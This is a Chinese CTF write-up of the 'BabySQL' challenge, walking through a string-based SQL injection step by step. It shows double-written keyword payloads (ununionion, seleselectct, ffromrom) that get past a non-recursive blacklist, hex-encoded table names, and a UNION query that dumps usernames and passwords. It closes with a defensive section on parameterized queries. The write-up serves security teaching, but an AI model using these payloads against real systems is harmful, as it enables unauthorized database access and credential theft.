1. 先聊聊BabySQL这道题为什么值得写
拿到“[极客大挑战 2019]BabySQL 1”这个题目标题,老CTF玩家一眼就能闻到熟悉的SQL注入味道。BabySQL,名字里就带着“baby”,但实际上这道题当年虐了不少初学者——它把SQL注入门槛里的关键词过滤玩得非常典型,既不是纯白给的联合注入,也没有复杂到需要时间盲注,卡在中间这个“明明会却绕不过去”的档位上。这篇文章我把完整的分析过程、payload构造思路、踩坑记录都整理出来,希望能帮刚接触Web安全的同学把这一关迈过去。
这道题适合什么人参考?大概三类:一是刚学SQL注入、只会照着网上payload抄的初学者;二是刷题遇到过滤就懵、不知道从哪下手的CTF选手;三是做开发或运维、想了解SQL注入到底怎么发生、怎么防御的人。解题本身不复杂,但里面涉及的“探测过滤规则”“双写绕过”“联合查询定位”这几个动作,是后面所有Web安全题目的基本功,值得花时间掰开揉碎研究。
1.1 题目考察的核心
BabySQL考察的知识点非常集中:字符型SQL注入、联合查询注入、常见关键字过滤及绕过。说白了,服务器后端存在一个拼接SQL的查询逻辑,同时它做了一层很基础的关键词过滤,把union、select、from这类词直接替换为空字符串,但替换逻辑不是递归的,这就留下了经典的双写绕过空间。你需要先探测出哪些词被过滤,再用大小写、双写、注释符等技巧把payload重新拼出来。
1.2 这类题在CTF中的定位
从题目难度梯度来看,BabySQL属于“入门进阶”——它比直接无过滤的联合注入多了一道过滤,又比布尔盲注、时间盲注简单得多。刷过这道题,你再去理解宽字节注入、堆叠注入、二次注入,会轻松不少。因为过滤绕过这层窗户纸,就是在这道题里捅破的。很多人在这一步卡住,不是不会union select,而是没想到“过滤一次就替换成空”这个机制可以反过来利用。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 从零开始拆解题思路
2.1 先搞清楚这是哪种注入
拿到题目,先看交互方式。BabySQL是一个典型的GET参数注入场景,URL里带着一个id参数,页面会根据id值返回不同的用户信息。这种场景下,第一反应是测闭合方式:输入?id=1正常显示,输入?id=1'报错,恭喜,这基本就是字符型注入,而且从报错信息能看出后端是直接把参数拼进SQL语句的,没有做参数化查询。
判断注入类型是整个解题的起点,我习惯按这个顺序测:
- 输入
?id=1,观察正常返回内容 - 输入
?id=1',观察是否报错、报什么错 - 输入
?id=1' --+,观察是否恢复正常 - 输入
?id=1' and 1=1 --+、?id=1' and 1=2 --+,对比返回结果
如果and 1=1和and 1=2返回结果不一致,说明不仅能注入,还可能有多种利用方式。但BabySQL这道题有个特点:它过滤了and这类逻辑运算符,所以这个测试不一定能做。这时候别在一棵树上吊死,直接转去测更关键的过滤规则。
2.2 过滤规则探测是破局关键
BabySQL后端做了黑名单过滤,具体过滤了哪些词,服务器不会在页面上直接告诉你。你需要一个个去试。常见做法是在参数里塞一个单词,看页面是否报错、返回是否异常,以此判断这个单词是否被过滤。比如:
?id=1' union select 1,2,3 --+?id=1' union select null,null,null --+- 观察返回的报错信息里是否出现了“union”或“select”相关提示
在这个题里,我实测下来过滤名单大致包括:union、select、from、where、group、by、having、order、table、column、database等常用SQL关键字。它的过滤实现是一次性的字符串替换,即把命中的关键字替换成空字符串。这意味着输入union会变成空,输入ununionion时,先把中间那个union删掉,剩下的还是union——双写绕过就是这么来的。
这里有个细节特别值得注意:过滤是“先替换成空字符串”,如果一次替换后整个字符串里又出现了关键词,它并不会再检查一遍。例如selselectect,把中间的select删掉后,剩下select,直接进入SQL语句时依然是合法的关键字。这就是这类过滤器最经典的漏洞。
2.3 解题路径总览
理清思路后,完整的解题路径是这样的:
- 确认注入点和闭合方式(单引号字符型)
- 用
order by探测字段数量 - 用
union select确认回显位置 - 绕过过滤,爆出数据库名
- 爆出表名
- 爆出列名
- 拖出数据,拿到flag
每一步都会遇到过滤的干扰,所以payload不是直接照抄,而是要在关键词被过滤的基础上“绕”过去。
3. 核心实操环节
3.1 第一步:确认注入点与闭合方式
我先把最基础的测试做一遍。正常请求:
http复制GET /index.php?id=1
页面返回一个用户名和一段描述,正常渲染。接着测试:
http复制GET /index.php?id=1'
页面出现SQL错误提示,大致意思是语法错误。这说明单引号被直接拼进了SQL语句,后端代码可能是这样写的:
php复制$sql = "select * from users where id = '$id'";
注意这里没有参数化查询,也没有转义函数,所以单引号直接把查询语句“截断”了。再测:
http复制GET /index.php?id=1' --+
页面恢复正常。--+的作用是注释掉SQL语句后面的内容,让多余的单引号不再影响语法。到这里,注入点确认无误:单引号字符型闭合,后端拼接SQL。
注意:
--+里的+在URL解码后是空格。在MySQL中,--后面必须跟一个空格才算注释开始,所以--+是CTF里最顺手的注释写法。如果你在代码审计里看到这样的注释,本质是--。
3.2 第二步:用order by摸清字段数量
确认注入点后,下一步是判断当前查询返回几列。这里用到order by:
http复制GET /index.php?id=1' order by 1 --+
GET /index.php?id=1' order by 2 --+
GET /index.php?id=1' order by 3 --+
GET /index.php?id=1' order by 4 --+
前三个请求页面正常,第四个请求报错。说明当前查询有3列。这个信息非常关键,因为后面构造union select时,要保证列数对齐,否则联合查询会报错。
为什么用order by测列数而不是直接猜?因为order by本身是标准SQL语法,只要列数不超过实际列数,排序不会报错;一旦超过,数据库就会提示“Unknown column”。这是成本最低、最准确的列数测试方法。
3.3 第三步:突破union select过滤
字段数是3,接下来常规操作应该是:
http复制GET /index.php?id=-1' union select 1,2,3 --+
但直接发过去,页面大概率报错或返回异常。原因就是union和select被过滤了。把union替换成空,payload变成了-1' select 1,2,3 --+,这显然不是合法SQL。
我测一下过滤规则:
http复制GET /index.php?id=1' union --+
页面报错。再测:
http复制GET /index.php?id=1' ununionion --+
页面恢复正常。这个对比实验直接证明了“双写可绕过”。
所以第一个有效payload是:
http复制GET /index.php?id=-1' ununionion seleselectct 1,2,3 --+
语法解析后,ununionion变成union,seleselectct变成select,完整SQL变成:
sql复制select * from users where id = '-1' union select 1,2,3 -- '
id=-1是为了让前面的查询结果为空,这样联合查询出来的数据就能直接显示在页面上。这一步成功后,我在返回页面里看到数字1和3显示出来了,也就是说回显位置是第1列和第3列。
回显位置确认后,基本上就成功了一半。后面的所有操作,都是把1和3这两个位置替换成我们要查询的内容。
4. 完整解题Payload链
4.1 爆数据库名
查询当前数据库名,常规写法:
http复制GET /index.php?id=-1' ununionion seleselectct 1,database(),3 --+
但database()也可能被过滤,实测发现database这个词在过滤名单里。不过MySQL里有个等价函数叫schema(),它同样能返回当前数据库名,而且这个词没被过滤。于是:
http复制GET /index.php?id=-1' ununionion seleselectct 1,schema(),3 --+
页面第3列位置返回一个数据库名,比如geek。这个值不一定固定,但拿到它之后,后续查询都要用它来定位表。
心得:
database()和schema()在MySQL里基本等价,这是绕过简单黑名单的一个冷门小技巧。类似这种等价替换在后期的题里还会用到。
4.2 爆表名
拿到库名后,从information_schema.tables表里查表名。熟悉的语句是:
sql复制select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database()
把每个可能被过滤的关键词都双写一遍:
http复制GET /index.php?id=-1' ununionion seleselectct 1,group_concat(table_name),3 ffromrom infoorrmation_schema.tables whwhereere table_schema = schema() --+
逐个拆解双写点:
from->ffromrominformation_schema->infoorrmation_schemawhere->whwhereereschema()本身没被过滤
页面返回一堆表名,用逗号分隔,比如b4bsql,geekuser,users之类的。最显眼的通常是users,这名字一看就是存账号密码的地方。
group_concat是个好东西,它能把多行结果拼成一行,省去逐条看的痛苦。如果题目过滤了group_concat,还可以用concat_ws或者limit逐条查,但BabySQL这里不需要那么复杂。
4.3 爆列名
有了表名,下一步查列名。目标表名如果是users,对应查询:
sql复制select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users'
这里最容易翻车的是单引号。因为前面已经用单引号闭合了查询,现在要在payload内部再写一个单引号,SQL语句就变成:
sql复制select * from users where id = '-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' -- '
注意最后'users'里的单引号和闭合用的单引号会打架,导致语法错误。解决办法是用十六进制编码替代字符串,比如users的十六进制是0x7573657273:
http复制GET /index.php?id=-1' ununionion seleselectct 1,group_concat(column_name),3 ffromrom infoorrmation_schema.columns whwhereere table_name = 0x7573657273 --+
这样就不需要在payload里额外写单引号了。页面返回的列名一般是id、username、password,偶尔还有flag字段名,取决于出题者怎么命名。
技巧:凡是在SQL语句里需要用到字符串字面量的地方,都可以先转成十六进制再拼进去,省去单引号转义的烦恼。这个技巧在盲注和更多过滤场景里非常高频。
4.4 拖数据拿flag
列名确认后,最后一步查数据。假设users表里有id、username、password三列:
http复制GET /index.php?id=-1' ununionion seleselectct 1,group_concat(username,0x3a,password),3 ffromrom users --+
0x3a是冒号的十六进制,作用是把用户名和密码拼成username:password的格式,方便阅读。页面渲染后,你会看到一行行账号密码,其中一条的密码字段就是flag,格式大概是flag{...}。
到这一步,这道题就打通了。回顾整个链路:确认注入点 -> 探测字段数 -> 绕过过滤 -> 爆库 -> 爆表 -> 爆列 -> 拖数据,每一步都用到了双写绕过,思路非常线性。
5. 实战中踩过的坑与排查思路
5.1 双写之后为什么还报错
最让人头疼的问题就是:我把union写成ununionion了,为什么还是报错?这种情况通常是过滤器不止做一次替换,或者它替换成了单引号、空字符以外的干扰字符。我的排查思路是:先用最简单的字符串测试,比如输入ununionion,看页面返回的报错信息里到底剩下了什么。有时候过滤逻辑是循环替换直到不再命中,这时双写就失效了,需要换大小写混写、注释符拆分等思路。
另外,千万不要把双写用在所有词上。比如information_schema,如果你写information_schemainfo之类,可能会把库名搞乱。双写只对“被过滤的整词”有效,拆解的时候要确保替换后恰好恢复成正确拼写。
5.2 注释符的选择问题
--+是最常用的注释写法,但不是万能的。有些情况下,--会被过滤,或者#被过滤。我一般会准备三个注释方案:
--+(URL编码后空格)%23(即#)--%20(显式空格)
如果过滤规则里直接删掉-或#字符,那所有注释方式可能都失效。这时候可以把查询语句末尾的多余引号“喂”给一个恒真条件来闭合,比如' or '1'='1。不过BabySQL本身没有把注释符彻底过滤掉,所以--+足够用。
5.3 单引号与表名字符串的冲突
前面提到的table_name = 'users'问题,是新手最容易卡住的。我自己第一次刷这类题时,在这里浪费了快半小时,一直报语法错误。后来才反应过来,是闭合引号冲突。
解决方案有两个:一是把字符串转成十六进制;二是用char()函数动态拼接,比如char(117,115,101,114,115)。在BabySQL这个场景里,十六进制是最优解,简洁稳定,不需要额外绕过char函数。
5.4 回显位置不显示怎么办
有时候union select 1,2,3执行成功了,但页面上1、2、3一个都没显示。这种情况多半是前面的查询结果不为空,联合查询的后续结果被挤掉了。解决办法就是让前面查询结果为空,把传参改成id=-1或者id=0甚至id=9999,只要不存在对应记录就行。这也是为什么题解里几乎全是-1' union ...而不是1' union ...。
还有一个可能:数据在页面HTML里被注释掉了。可以右键查看网页源码,或者用浏览器的开发者工具看响应体,别只盯着渲染后的页面。
6. 从BabySQL延伸出去的思考
6.1 变体:如果过滤了逗号和空格怎么办
BabySQL本身没有过滤逗号和空格,但这类题目的变体非常多。我在其它比赛里见过把逗号也过滤掉的版本,这时group_concat(a,b)就用不了了,替代方案是用group_concat(a||b)或者concat(a,b),其中||在某些数据库里是字符串连接符。空格被过滤的话,可以用/**/代替空格,或者用%09、%0a、%0b、%0c等URL编码空白字符。
过滤规则越严,等价替换就越多,MySQL里常见的等价组合:
and可以用&&代替or可以用||代替- 空格可以用
/**/代替 =可以用like代替- 子查询可以用
join代替
每一次绕过本质上都是寻找过滤黑名单之外、但SQL语义等价的写法。这个思路比具体payload更值钱。
6.2 防御视角:如何从根上堵住这类漏洞
从防御角度看,BabySQL这类题完全可以用参数化查询杜绝。后端如果写的是:
php复制$stmt = $pdo->prepare("select * from users where id = ?");
$stmt->execute([$id]);
那不管用户输入什么,都只会被当作参数值处理,永远进不了SQL语法层。关键词过滤之所以能被双写绕过,根本原因在于过滤逻辑依赖“字符串黑名单”,而SQL语句的结构是白名单性质的——只要输入被拼进SQL语法,总会有等价写法绕过有限的黑名单。
所以我在平时的工作和代码评审里,看到有人用“替换危险关键字”来防注入,都会提醒一句:这个方案只能挡新手,挡不住认真的人。真正的解法永远是参数化查询、白名单校验和最小权限数据库账户配合。
6.3 对初学者的一句话总结
如果你正在刷题,遇到过滤就卡住,别急着看题解。先把题目当成一个小型研究项目:过滤了哪些词、用什么方式过滤的、过滤之后留下了什么、怎么构造一个字符串让过滤器处理后恰好变成目标SQL。这套思路练熟之后,再回头看BabySQL,不过是“确认过滤规则 + 双写拼接”两个动作而已。
我在实际刷题中养成的习惯是:每一个payload都自己拼,不直接复制。拼错了就分析错误页面的原因,是语法错、过滤错、还是列数不对。这个过程虽然慢,但比你连刷二十道题都靠抄题解要有效得多。BabySQL这道题的价值也正在这里——它逼你想清楚SQL语句到底是怎么被拼出来的,而你一旦想清楚,后面很多Web题的路都会豁然开朗。
